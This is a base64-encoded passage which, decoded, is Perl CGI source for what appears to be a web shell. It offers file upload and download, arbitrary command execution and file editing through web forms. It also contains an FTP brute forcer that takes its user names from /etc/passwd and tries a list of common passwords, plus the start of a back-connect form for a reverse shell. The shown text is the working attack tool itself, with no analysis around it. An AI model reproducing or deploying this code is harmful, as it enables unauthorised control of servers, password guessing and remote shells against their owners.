GZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbG